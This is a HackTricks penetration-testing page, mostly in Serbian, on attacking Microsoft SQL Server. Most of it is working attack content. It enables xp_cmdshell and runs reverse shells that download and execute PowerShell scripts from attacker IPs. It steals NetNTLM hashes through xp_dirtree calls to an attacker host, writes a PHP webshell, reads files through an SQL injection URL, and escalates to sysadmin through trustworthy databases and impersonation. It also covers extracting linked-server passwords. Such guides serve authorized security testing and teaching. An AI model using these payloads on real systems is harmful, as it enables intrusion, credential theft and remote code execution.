hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

# 1433 - Pentesting MSSQL - Microsoft SQL Server

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***

## Osnovne informacije

Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):

> **Microsoft SQL Server** je **relacioni sistem za upravljanje bazama podataka** razvijen od strane Microsoft-a. Kao serverska baza podataka, to je softverski proizvod sa osnovnom funkcijom skladištenja i dohvatanja podataka po zahtevu drugih softverskih aplikacija - koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući i Internet).\

**Podrazumevani port:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Podrazumevane MS-SQL sistem tabele**

* **master baza podataka**: Ova baza podataka je ključna jer sadrži sve detalje na nivou sistema za instancu SQL Servera.
* **msdb baza podataka**: SQL Server Agent koristi ovu bazu podataka za upravljanje zakazivanjem upozorenja i poslova.
* **model baza podataka**: Služi kao šablon za svaku novu bazu podataka na SQL Server instanci, gde se sve promene poput veličine, kolacije, modela oporavka i drugih, ogledaju u novo kreiranim bazama podataka.
* **Resource baza podataka**: Baza podataka samo za čitanje koja sadrži sistemski objekte koji dolaze sa SQL Serverom. Ovi objekti, iako su fizički smešteni u Resource bazi podataka, logički su prikazani u sys šemi svake baze podataka.
* **tempdb baza podataka**: Služi kao privremeno skladište za privremene objekte ili privremene rezultate.

## Enumeracija

### Automatska enumeracija

Ako ne znate ništa o usluzi:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Ako **nemate** **poverenje**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta neuspešno pokušate prijavljivanje koristeći postojeće korisničko ime.
{% endhint %}

#### Metasploit (potrebne su poverenice)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)

### Ručna enumeracija

#### Prijava
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Uobičajeno nabrajanje

##### MSSQL Server Information Gathering

##### Prikupljanje informacija o MSSQL serveru

###### Version Detection

###### Detekcija verzije

To determine the version of the MSSQL server, you can use the following methods:

Da biste odredili verziju MSSQL servera, možete koristiti sledeće metode:

- **Banner Grabbing**: Retrieve the server version from the banner message returned by the server when connecting to the default port (1433).

- **Banner Grabbing**: Preuzmite verziju servera iz poruke banera koju server vraća prilikom povezivanja na podrazumevani port (1433).

- **SQL Server Discovery**: Use tools like `nmap` or `Metasploit` to scan for open MSSQL ports and gather version information.

- **Otkrivanje SQL Servera**: Koristite alate poput `nmap` ili `Metasploit` za skeniranje otvorenih MSSQL portova i prikupljanje informacija o verziji.

###### Service Enumeration

###### Nabrajanje servisa

Once you have identified the MSSQL server, you can proceed with service enumeration to gather more information about the server.

Kada ste identifikovali MSSQL server, možete nastaviti sa nabrajanjem servisa kako biste prikupili više informacija o serveru.

- **Default Port (1433)**: Check if the default MSSQL port (1433) is open and accessible.

- **Podrazumevani port (1433)**: Proverite da li je podrazumevani MSSQL port (1433) otvoren i dostupan.

- **Named Pipes (445)**: Check if the server is listening on the named pipes port (445).

- **Imenovane cevi (445)**: Proverite da li server osluškuje na portu imenovanih cevi (445).

- **UDP Port (1434)**: Check if the server is listening on the UDP port (1434) used for SQL Server Browser service.

- **UDP port (1434)**: Proverite da li server osluškuje na UDP portu (1434) koji se koristi za SQL Server Browser servis.

- **SQL Server Browser Service**: Determine if the SQL Server Browser service is running and accessible.

- **SQL Server Browser servis**: Utvrdite da li SQL Server Browser servis radi i da li je dostupan.

###### User Enumeration

###### Nabrajanje korisnika

To enumerate users on the MSSQL server, you can use the following methods:

Da biste nabrojali korisnike na MSSQL serveru, možete koristiti sledeće metode:

- **SQL Injection**: Exploit SQL injection vulnerabilities to extract user information from the database.

- **SQL Injection**: Iskoristite ranjivosti SQL injectiona kako biste izvukli informacije o korisnicima iz baze podataka.

- **Brute-Force**: Use brute-force attacks to guess usernames and passwords.

- **Brute-Force**: Koristite napade brute-force da biste pogađali korisnička imena i lozinke.

- **Default Accounts**: Check for default accounts that may exist on the MSSQL server.

- **Podrazumevani nalozi**: Proverite da li postoje podrazumevani nalozi na MSSQL serveru.

###### Database Enumeration

###### Nabrajanje baza podataka

To enumerate databases on the MSSQL server, you can use the following methods:

Da biste nabrojali baze podataka na MSSQL serveru, možete koristiti sledeće metode:

- **SQL Injection**: Exploit SQL injection vulnerabilities to extract database names from the server.

- **SQL Injection**: Iskoristite ranjivosti SQL injectiona kako biste izvukli imena baza podataka sa servera.

- **Default Databases**: Check for default databases that may exist on the MSSQL server.

- **Podrazumevane baze podataka**: Proverite da li postoje podrazumevane baze podataka na MSSQL serveru.

- **Information Schema**: Query the `INFORMATION_SCHEMA` table to retrieve a list of databases.

- **Informaciona šema**: Upitajte tabelu `INFORMATION_SCHEMA` da biste dobili listu baza podataka.

###### Service Accounts Enumeration

###### Nabrajanje servisnih naloga

To enumerate service accounts on the MSSQL server, you can use the following methods:

Da biste nabrojali servisne naloge na MSSQL serveru, možete koristiti sledeće metode:

- **SQL Injection**: Exploit SQL injection vulnerabilities to extract service account information from the database.

- **SQL Injection**: Iskoristite ranjivosti SQL injectiona kako biste izvukli informacije o servisnim nalozima iz baze podataka.

- **Default Accounts**: Check for default service accounts that may exist on the MSSQL server.

- **Podrazumevani nalozi**: Proverite da li postoje podrazumevani servisni nalozi na MSSQL serveru.

- **Windows Authentication**: Enumerate Windows accounts that have access to the MSSQL server.

- **Windows autentifikacija**: Nabrojite Windows naloge koji imaju pristup MSSQL serveru.
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
```
#### Dobijanje korisnika

{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
{% endcontent-ref %}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Dobijanje Dozvola

1. **Securable:** Definisano kao resursi koje SQL Server upravlja za kontrolu pristupa. Oni se kategorizuju u:
- **Server** - Primeri uključuju baze podataka, prijave, krajnje tačke, grupe dostupnosti i uloge servera.
- **Baza podataka** - Primeri obuhvataju ulogu baze podataka, uloge aplikacija, šemu, sertifikate, kataloge punog teksta i korisnike.
- **Šema** - Uključuje tabele, prikaze, procedure, funkcije, sinonime, itd.

2. **Dozvola:** Povezana sa SQL Server securables, dozvole poput ALTER, CONTROL i CREATE mogu biti dodeljene principalu. Upravljanje dozvolama se odvija na dva nivoa:
- **Nivo servera** koristeći prijave
- **Nivo baze podataka** koristeći korisnike

3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principali uglavnom uključuju prijave i korisnike baze podataka. Kontrola pristupa securables se vrši dodeljivanjem ili odbijanjem dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Trikovi

### Izvršavanje OS komandi

{% hint style="danger" %}
Napomena da biste mogli izvršavati komande, neophodno je ne samo da imate **omogućenu** **`xp_cmdshell`** opciju, već i da imate **dozvolu za izvršavanje uskladištene procedure `xp_cmdshell`**. Možete saznati ko (osim sysadmina) može koristiti **`xp_cmdshell`** sa:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
### Ukradi NetNTLM heš / Napad preusmeravanja

Treba da pokrenete **SMB server** da biste uhvatili heš koji se koristi u autentifikaciji (`impacket-smbserver` ili `responder` na primer).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Možete proveriti ko (osim sistem administratora) ima dozvole da pokrene te MSSQL funkcije sa:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}

Korišćenjem alata kao što su **responder** ili **Inveigh** moguće je **ukrasti NetNTLM hash**.\
Kako koristiti ove alate možete videti u:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}

### Zloupotreba MSSQL poverljivih veza

[**Pročitajte ovaj post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **da biste pronašli više informacija o tome kako zloupotrebiti ovu funkcionalnost:**

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
{% endcontent-ref %}

### **Pisanje fajlova**

Da biste pisali fajlove koristeći `MSSQL`, **potrebno je omogućiti** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, a zatim izvršiti neke uskladištene procedure za kreiranje fajla:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Čitanje fajla pomoću** OPENROWSET

Podrazumevano, `MSSQL` omogućava čitanje fajlova sa bilo koje lokacije u operativnom sistemu na koju nalog ima pristup za čitanje. Možemo koristiti sledeći SQL upit:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Međutim, opcija **`BULK`** zahteva dozvolu **`ADMINISTER BULK OPERATIONS`** ili **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Vektor zasnovan na greškama za SQLi:

```sql
SELECT 1/0 FROM table_name
```

Ovaj vektor koristi greške u SQL upitima kako bi otkrio ranjivosti u Microsoft SQL Serveru. Upit pokušava podeliti broj sa nulom, što rezultuje greškom i otkriva da li je baza podataka podložna SQL Injection napadu.
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Čitanje fajlova izvršavanjem skripti (Python i R)**

MSSQL vam omogućava izvršavanje **skripti u Pythonu i/ili R-u**. Ovaj kod će biti izvršen od strane **drugog korisnika** od onog koji koristi **xp\_cmdshell** za izvršavanje komandi.

Primer pokušaja izvršavanja **'R'** _"Hello World!"_ **ne funkcioniše**:

![](<../../.gitbook/assets/image (185) (1).png>)

Primer korišćenja konfigurisanog pythona za izvršavanje nekoliko akcija:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Čitanje registra

Microsoft SQL Server pruža **više proširenih uskladištenih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom, već i sa sistemom datoteka i čak [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

| **Regularno**                | **Instance-svesno**                    |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread              | sys.xp\_instance\_regread              |
| sys.xp\_regenumvalues        | sys.xp\_instance\_regenumvalues        |
| sys.xp\_regenumkeys          | sys.xp\_instance\_regenumkeys          |
| sys.xp\_regwrite             | sys.xp\_instance\_regwrite             |
| sys.xp\_regdeletevalue       | sys.xp\_instance\_regdeletevalue       |
| sys.xp\_regdeletekey         | sys.xp\_instance\_regdeletekey         |
| sys.xp\_regaddmultistring    | sys.xp\_instance\_regaddmultistring    |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

### RCE sa MSSQL korisnički definisanom funkcijom - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Međutim, to **zahteva pristup `dbo`** pa vam je potrebna veza sa bazom podataka **kao `sa` ili sa administratorskom ulogom**.

[**Pratite ovaj link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da biste videli primer.

### Druge metode za RCE

Postoje i druge metode za izvršavanje komandi, kao što su dodavanje [proširenih uskladištenih procedura](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR skupova](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent poslova](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) i [spoljnih skripti](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne skenove pretnji, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.

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***

## MSSQL eskalacija privilegija

### Od db\_owner do sysadmin

Ako se **običnom korisniku** dodeli uloga **`db_owner`** nad **bazom podataka koju poseduje admin** korisnik (kao što je **`sa`**), a ta baza podataka je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti ove privilegije za **povećanje privilegija** jer se u toj bazi mogu kreirati **uskladištene procedure** koje se mogu **izvršiti** kao vlasnik (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Možete koristiti **metasploit** modul:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Ili **PS** skripta:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Impersonacija drugih korisnika

SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava izvršnom korisniku da preuzme dozvole drugog korisnika** ili prijavljivanje dok se kontekst ne resetuje ili sesija ne završi.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```
{% hint style="info" %}
Ako možete preuzeti identitet korisnika, čak i ako nije sysadmin, trebali biste provjeriti **da li korisnik ima pristup** drugim **bazama podataka** ili povezanim serverima.
{% endhint %}

Imajte na umu da kada postanete sysadmin, možete preuzeti identitet bilo kojeg drugog korisnika:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Možete izvršiti ovaj napad pomoću **metasploit** modula:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
ili sa **PS** skriptom:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Korišćenje MSSQL za upornost

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## Izvlačenje lozinki iz SQL Server Linked Servers
Napadač može izvući lozinke za SQL Server Linked Servers iz SQL instanci i dobiti ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje većeg uticaja na cilj.
Skripta za izvlačenje i dešifrovanje lozinki koje su sačuvane za Linked Servers može se pronaći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)

Da bi ovaj eksploit radio, potrebno je izvršiti određene zahteve i konfiguracije.
Prvo, morate imati administratorska prava na mašini ili mogućnost upravljanja SQL Server konfiguracijama.

Nakon što potvrdite svoje dozvole, trebate konfigurisati tri stvari, a to su:
1. Omogućite TCP/IP na SQL Server instancama;
2. Dodajte parametar za pokretanje, u ovom slučaju, biće dodata oznaka za praćenje, koja je -T7806.
3. Omogućite udaljenu administratorsku konekciju.

Da biste automatizovali ove konfiguracije, [ovaj repozitorijum](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte.
Osim što ima powershell skriptu za svaki korak konfiguracije, repozitorijum takođe ima kompletnu skriptu koja kombinuje konfiguracijske skripte i izvlačenje i dešifrovanje lozinki.

Za dodatne informacije, pogledajte sledeće veze u vezi ovog napada:
[Dešifrovanje lozinki za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[Rešavanje problema sa SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## Lokalno eskaliranje privilegija

Korisnik koji pokreće MSSQL server će imati omogućen privilegijum tokena **SeImpersonatePrivilege.**\
Verovatno ćete moći **eskalarirati do Administratora** prateći jednu od ovih 2 stranica:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
{% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
{% endcontent-ref %}

## Shodan

* `port:1433 !HTTP`

## Reference

* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)

​

<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

***

## HackTricks Automatske Komande
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
